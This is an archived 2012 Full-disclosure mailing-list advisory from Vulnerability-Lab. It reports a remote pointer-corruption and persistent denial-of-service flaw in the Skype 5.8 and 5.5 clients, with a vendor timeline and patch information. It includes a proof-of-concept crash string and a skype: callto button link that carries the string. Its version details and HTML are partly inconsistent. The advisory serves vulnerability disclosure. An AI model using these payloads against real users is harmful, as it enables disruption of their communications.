[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[Full-disclosure] Skype 5.8x 5.5x - Corruption & Persistent Vulnerability
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] Skype 5.8x 5.5x - Corruption & Persistent Vulnerability
- From: Research <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Thu, 29 Mar 2012 01:12:57 +0200
Title:
======
Skype 5.8x 5.5x - Corruption & Persistent Vulnerability
Date:
=====
2012-03-29
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=455
MRSC ID: 12250
VIDEO: http://vulnerability-lab.com/get_content.php?id=457 ;)
VL-ID:
=====
455
Introduction:
=============
Skype is a software application that allows users to make voice and video calls
and chats over the Internet. Calls to other users within the
Skype service are free, while calls to both traditional landline telephones and
mobile phones can be made for a fee using a debit-based
user account system. Skype has also become popular for its additional features
which include instant messaging, file transfer, and
videoconferencing. Skype has 663 million registered users as of 2010. The
network is operated by Skype Limited, which has its headquarters
in Luxembourg. Most of the development team and 44% of the overall employees of
Skype are situated in the offices of Tallinn and Tartu, Estonia.
(Copy of the Vendor Homepage: http://en.wikipedia.org/wiki/Skype)
Abstract:
=========
The Vulnerability-Lab Team discovered a remote pointer corruption with
persistent weakness on Skypes v5.8.0.156 Windows 7 & MacOS v5.5.2340.
Report-Timeline:
================
2012-02-24: Vendor Notification
2012-02-25: Vendor Response/Feedback
2012-03-20: Vendor Fix/Patch by Check
2012-03-29: Public or Non-Public Disclosure
Status:
========
Published
Affected Products:
==================
Skype Windows, MacOs & Linux
Exploitation-Technique:
=======================
Remote
Severity:
=========
High
Details:
========
A pointer corruption vulnerability is detected on the windows v5.6.59.10 &
macos v5.5.2340 client of the skype software.
The bug is located in the software when processing special crafted symbole
messages via communication box. The vulnerability
allows an attacker to freeze, block, crash or destroy the communication
messagebox of the connected conference persons/teams.
The bug also has an persistent weakness vector which allows an remote attacker
to implement the symbole string to the contact
user requests messagebox. The result is also a stable persistent error message
and a client denial of service. Attackers can
also implement the test poc to the group labelname which results in a stable
group error with different exceptions. The facebook
integration allows to sync the account with skype and can also redisplay the
issue with the error via facebook module and wallposting.
The callto function allows an attacker to implement the issue persistent on a
victim user profile by using the symbole string as nickname.
Vulnerable Module(s):
[+] MessageBox & Request Contact
[+] Contact Request Messagebox
- Add Skype User
[+] Group Topic & Group
Information Name
[+] Facebook integration -
Connect Account Wall Postings
Affected OS version(s):
[+] Windows v5.8.0.156, MacOS
5.5.0.2340 & Linux 2.2 Beta
Picture(s):
../1.png
../2.png
../3.png
../4.png
../5.png
../6.png
../7.png
../8.png
../9.png
../10.png
../11.png
../12.png
../13.png
../14.png
../5.png
../6.png
../7.png
../8.png
../9.png
../10.png
../11.png
../12.png
../13.png
The vulnerability can be exploited by remote attackers with & without required
user inter action. For demonstration or reproduce ...
PoC:
็¬็ส็็็็็
-็็็็็็็็็็็็็็็็็็็็ส็¬็็็็็็็็¬็็็็็็็็็็็็็็็็ส็็็็¬็็็็็็็็็-็็็็็็็
็็็็็ส็็็็็็็¬็็็็็็็็็็¬็็็็็็็็ส็็็็็็็็็็¬็็็็็็็็็็็
¬็็็็ส็็็็็็็็็็็็็¬็็็็
็็็็็็็็¬ส็็็็็็็็็็็็็็็็-็็็็็็็็็ส็็็็็็็็็็็็็็็็็็็
¬็็็็็็ส็็็็็็็¬ส็็็็็็็็็็็็็็็็็็็็็็็็็ส็็็¬¬็็็็็็็็็็็็็็็็็็็็็็ส็็็็็็¬็
or as callto link:
<!--
Skype 'Skype Me™!' button
http://www.skype.com/go/skypebuttons
-->
<script type="text/javascript"
src="http://download.skype.com/share/skypebuttons/js/skypeCheck.js";></script>
<a href="skype:?<!--
Skype 'Skype Me™!' button
http://www.skype.com/go/skypebuttons
-->
<script type="text/javascript"
src="http://download.skype.com/share/skypebuttons/js/skypeCheck.js";></script>
<a href="
skype:็¬็ส็็็็็
-็็็็็็็็็็็็็็็็็็็็ส็¬็็็็็็็็¬็็็็็็็็็็็็็็็็ส็็็็¬็็็็็็็็็-็็็็็็็
็็็็็ส็็็็็็็¬็็็็็็็็็็¬็็็็็็็็ส็็็็็็็็็็¬็็็็็็็็็็็
¬็็็็ส็็็็็็็็็็็็็¬็็็็
็็็็็็็็¬ส็็็็็็็็็็็็็็็็-็็็็็็็็็ส็็็็็็็็็็็็็็็็็็็
¬็็็็็็ส็็็็็็็¬ส็็็็็็็็็็็็็็็็็็็็็็็็็ส็็็¬¬็็็็็็็็็็็็็็็็็็็็็็ส็็็็็็¬็
?call
"><img
src="http://download.skype.com/share/skypebuttons/buttons/call_blue_white_124x52.png";
style="border: none;" width="124"
height="52" alt="Skype Me™!" /></a>
?call"><img
src="http://download.skype.com/share/skypebuttons/buttons/call_blue_white_124x52.png";
style="border: none;"
width="124" height="52" alt="Skype Me™!" /></a>
Reference(s):
../poc1.txt
../poc2.txt
../callto.txt
Solution:
=========
The attack vector has been removed in the old version (5.8.0.156) via hotfix
and the issue is addressed by skype.
Update to Skype v5.8.0.158
Risk:
=====
The security risk of the remote denial of service vulnerability via pointer
corruption is estimated as high(-).
Credits:
========
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve), Alexander
Fuchs (f0x23) & Ucha Gobejishvili
Disclaimer:
===========
The information provided in this advisory is provided as it is without any
warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and
capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have
been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential
or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages,
of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.
Copyright ©
2012|Vulnerability-Lab
--
VULNERABILITY RESEARCH LABORATORY TEAM
Website: www.vulnerability-lab.com
Mail: research@xxxxxxxxxxxxxxxxxxxxx
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/